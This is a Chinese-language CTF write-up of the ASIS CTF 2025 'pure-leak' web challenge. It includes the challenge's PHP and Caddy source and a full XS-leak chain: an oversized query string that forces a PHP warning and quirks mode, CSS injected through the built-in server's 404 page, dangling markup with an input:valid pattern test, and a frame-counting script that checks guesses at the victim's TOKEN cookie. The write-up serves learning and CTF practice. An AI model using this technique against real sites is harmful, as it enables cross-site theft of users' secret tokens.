基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025

官方wp

https://blog.arkark.dev/2025/09/08/asisctf-quals

entrypoint.sh

#!/bin/sh
set -eu
# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
exec caddy run --config /tmp/Caddyfile

index.php

<?php
// 校验输入内容的函数
function validate(mixed $input): string {
// 检查输入是否为字符串类型
if (!is_string($input)) return "Invalid types";
// 检查字符串长度是否超过1024
if (strlen($input) >
1024) return "Too long";
// 检查是否包含非可打印ASCII字符(允许回车和换行)
if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
// 检查是否包含敏感关键字或特殊字符
if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
// 返回原始输入
return $input;
}
?>
<
!DOCTYPE html>
<html>
  <body>
    <h1>pure-leak <
      /h1>
      <h3>Source<
        /h3>
        <
        !-- 显示当前文件的源码,使用htmlspecialchars防止XSS -->
        <pre>
          <
          ?php echo htmlspecialchars(file_get_contents(__FILE__));
          ?>
          <
          /pre>
          <h3>Content<
            /h3>
            <
            !-- 显示经过validate函数校验后的GET参数content内容 -->
            <
            ?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n";
            ?>
            <h3>Token<
              /h3>
              <
              !-- 显示TOKEN的cookie值,若不存在则显示默认值 -->
              <
              ?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef");
              ?>
              <h3>Usage<
                /h3>
                <
                !-- 提供一个示例链接 -->
                <a href="/?content=your_input">
                  /?content=your_input<
                  /a>
                  <
                  /body>
                  <
                  /html>

part 1 PHP Error

当您向一个 PHP 脚本发起请求(GET 或 POST),并且请求中的参数总数超过 max_input_vars 指令的限制时,PHP 就会产生一条 E_WARNING 级别的错误信息。如果服务器配置为显示错误(通常在开发环境),这个警告就会直接输出到响应体的开头。

GET http://192.168.124.6:3000/?a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1 HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 13:58:07 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
X-Powered-By: PHP/8.3.24
Content-Length: 2250
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<!DOCTYPE html>
<html>
  ...

part 2 Quirks Mode

浏览器为兼容早期非标准网页而启用的一套历史渲染与解析行为。当文档未正确声明标准 DOCTYPE,或在 DOCTYPE 之前已有任何字节输出(如服务器警告文本),浏览器会进入 Quirks Mode。此时 document.compatMode === "BackCompat";标准模式为 "CSS1Compat"

标准模式下:<link rel="stylesheet"> 仅在响应 Content-Type: text/css 时当作样式表处理。

Quirks Mode 下(仅限同源):即使响应类型不是 text/css,也必须把其当作 CSS 解析。这是规范中特意标注的“Quirk”例外,用于兼容旧站点。参考:WHATWG HTML 规范(stylesheet 链接的处理流程与“Quirk”说明)

https://html.spec.whatwg.org/multipage/links.html#link-type-stylesheet


Quirk: If the document has been set to quirks mode, has the same origin as the URL of the external resource, and the Content-Type metadata of the external resource is not a supported style sheet type, the user agent must instead assume it to be .[text/css](https://html.spec.whatwg.org/multipage/indices.html#text/css)

The linked resource fetch setup steps for this type of linked resource, given a element and request , are:[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)elrequest

  1. If 's attribute is set, then return false.el[disabled](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-disabled)

  2. If contributes a script-blocking style sheet, append to its node document’s script-blocking style sheet set.elel

  3. If 's attribute’s value matches the environment and is potentially render-blocking, then block rendering on .el[media](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-media)elel

  4. If is currently render-blocking, then set 's render-blocking to true.elrequest

  5. Return true.

See issue #968 for plans to use the CSSOM fetch a CSS style sheet algorithm instead of the default fetch and process the linked resource algorithm. In the meantime, any critical subresourcerequest should have its render-blocking set to whether or not the element is currently render-blocking.[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)


part 3 use 404!

content 的注入点之前页面里已有 /*,而校验又禁止 *,无法写 */ 关掉注释。PHP 内置服务器的 404 页面会把“请求的 URL”原样插进响应体里。把 CSS 写进查询串,404 页就会把这段 CSS 放进正文,而且不在任何注释里。

GET http://192.168.124.6:3000/tere_you_payload.php HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Length: 553
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 14:45:57 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
404 Not Found
body { background-color: #fcfcfc; color: #333333; margin: 0; padding:0; }
h1 { font-size: 1.5em; font-weight: normal; background-color: #9999cc; min-height:2em; line-height:2em; border-bottom: 1px inset black; margin: 0; }
h1, p { padding-left: 10px; }
code.url { background-color: #eeeeee; font-family:monospace; padding:0 2px;}
Not FoundThe requested resource /tere_you_payload.php

part 4 悬空标记

因为csp,我们无法使用选择器外带token

:valid - CSS | MDN

但是有一个可用的 :valid 属性

<style>
  label {
  display: block;
  margin-top: 1em;
  }
  input:valid {
  background-color: ivory;
  border: none;
  outline: 2px solid deepskyblue;
  border-radius: 5px;
  accent-color: gold;
  }
</style>
<form>
<label for="email">Email Address:</label>
  <input id="email" name="email" type="email" value="na@me@example.com" />
<label for="secret">Secret Code: (lower case letters)</label>
  <input id="secret" name="secret" type="text" value="test" pattern="[a-z]+" />
<label for="age">Your age: (18+)</label>
  <input id="age" name="age" type="number" value="5" min="18" />
  <label
  ><input name="tos" type="checkbox" required checked /> - Do you agree to
  ToS?</label
  >
</form>

当 value 中包含 TOKEN_012 时,input:valid 为真,父 div 背景变绿;否则不变。

<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet">
  <div>
    <input pattern=".+TOKEN_012.+" value="
<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet">
    <div> <input pattern=". TOKEN_012. " value="
    &lt;h3&gt;Token&lt;/h3&gt;
    &lt;!-- 显示TOKEN的cookie值,若不存在则显示默认值 --&gt;
    TOKEN_0123456789abcdef &lt;h3&gt;Usage&lt;/h3&gt;
    &lt;!-- 提供一个示例链接 --&gt;
      &lt;a href=" ?content="your_input&quot;
    ">/?content=your_input
  </div>

part 5 帧计数

帧计数 |XS-Leaks 维基

window.length

**window.length 表示当前窗口中“子浏览上下文”的数量,即 frame/iframe 的个数。等同于 window.frames.length。如果页面没有任何 frame/iframe,它就是 0。

<iframe src="a.html"></iframe>
<iframe src="b.html"></iframe>
<script>
  console.log(window.length);
  // 2
  for (let i = 0; i < window.length; i++) {
  console.log(window.frames[i].location.href);
  }
</script>

示例

  • window.length 计数对象:只计算当前窗口中“直接子”浏览上下文(frame/iframe/object/embed 等会创建 NBC 的元素)。
  • <object type="text/html"> 的特性:当元素参与渲染时,浏览器会为其实例化一个嵌套浏览上下文;如果在它被构造/布局前就处于 display:none,通常不会实例化该上下文。
<!doctype html>
    <meta charset="utf-8">
  <title>用解析阶段样式门控 NBC 创建</title>
  <button id="hit">命中(length 预期 0)</button>
  <button id="miss">未命中(length 预期 1)</button>
  <pre id="log"></pre>
    <script>
      // 简单日志(中文注释,不改动代码逻辑)
      function log(...args) {
      document.getElementById('log').textContent += args.join(' ') + '\n';
      console.log(...args);
      }
      const sleep = ms =>
      new Promise(r =>
      setTimeout(r, ms));
      // 打开同源子窗口,便于读取 win.length
      const win = open('about:blank', '_blank');
      async function render({ value
      }) {
      // 整体重写新文档:样式在前,元素在后,让样式在解析阶段就生效
      const html = `
      <!doctype html>
        <meta charset="utf-8">
          <style>
            /* 命中 :valid 时,整个容器 display:none,从而阻止 <object> 创建 NBC */
              div:has(input:valid) { display: none; }
            </style>
            <div id="box">
            <object data="about:blank" type="text/html" width="200" height="100"></object>
              <input pattern="ABC" value="${value
              }">
            </div>
            
            `;
            win.document.open();
            win.document.write(html);
            win.document.close();
            // 等待创建/不创建完成后再读计数
            await sleep(150);
            log('win.length =', win.length);
            }
            document.getElementById('hit').onclick = () =>
            render({ value: 'ABC'
            });
            // 命中 :valid → 0
            document.getElementById('miss').onclick = () =>
            render({ value: 'ABD'
            });
            // 未命中 → 1
          </script>
  • 解析顺序关键点
    1. win.document.open()/write()/close() 将子窗口导航到全新文档;
    2. 这份文档里把 <style> 放在元素前,CSS 在解析时同步生效;
    3. 规则 div:has(input:valid){display:none} 若命中,会让包含 <object> 的父 div 直接变为 display:none
    4. 因为父容器在构建阶段即为 display:none,其中的 <object> 不会被实例化为活动的嵌入内容,自然也就不会创建 NBC;
    5. 最终读取 win.length:命中则为 0,未命中则 <object> 创建 NBC,变为 1。
  • 命中条件来源<input pattern="ABC" value="${value}"> 与伪类 :valid。当 value"ABC" 时命中 :validdiv 被隐藏;否则不隐藏。
  • 为什么需要 await sleep(150):给浏览器一个短暂窗口完成(或不完成)NBC 实例化,避免竞态导致读数抖动。

通过这个原理写出

<script>
  const sleep = (ms) =>
  new Promise(r =>
  setTimeout(r, ms));
  const win = open("");
  const match = async (pattern) =>
  {
  const BASE_URL = "http://192.168.124.6:3000";
  win.location = "about:blank";
  await sleep(100);
  const content = `
  <link href="/not-found.txt?{}div:has(input:valid){display:none}" rel="stylesheet">
    <div>
      <embed src="about:blank" type="text/html">
        <input pattern=".+${pattern
        }.+" value="
        `;
        const url = `${BASE_URL
        }?content=${encodeURIComponent(content)
        }${"&a".repeat(1000)
        }`;
        win.location = url;
        await sleep(100);
        return win.length === 0;
        };
        (async () =>
        {
        const result = await match("TOKEN_123");
        console.log(result);
        })();
        <
        /script>

QEF

#xss #帧计数 #悬空标记 #xs-leak基于错误的

posted on 2025-09-17 19:24  ljbguanli  阅读(18)  评论(0)    收藏  举报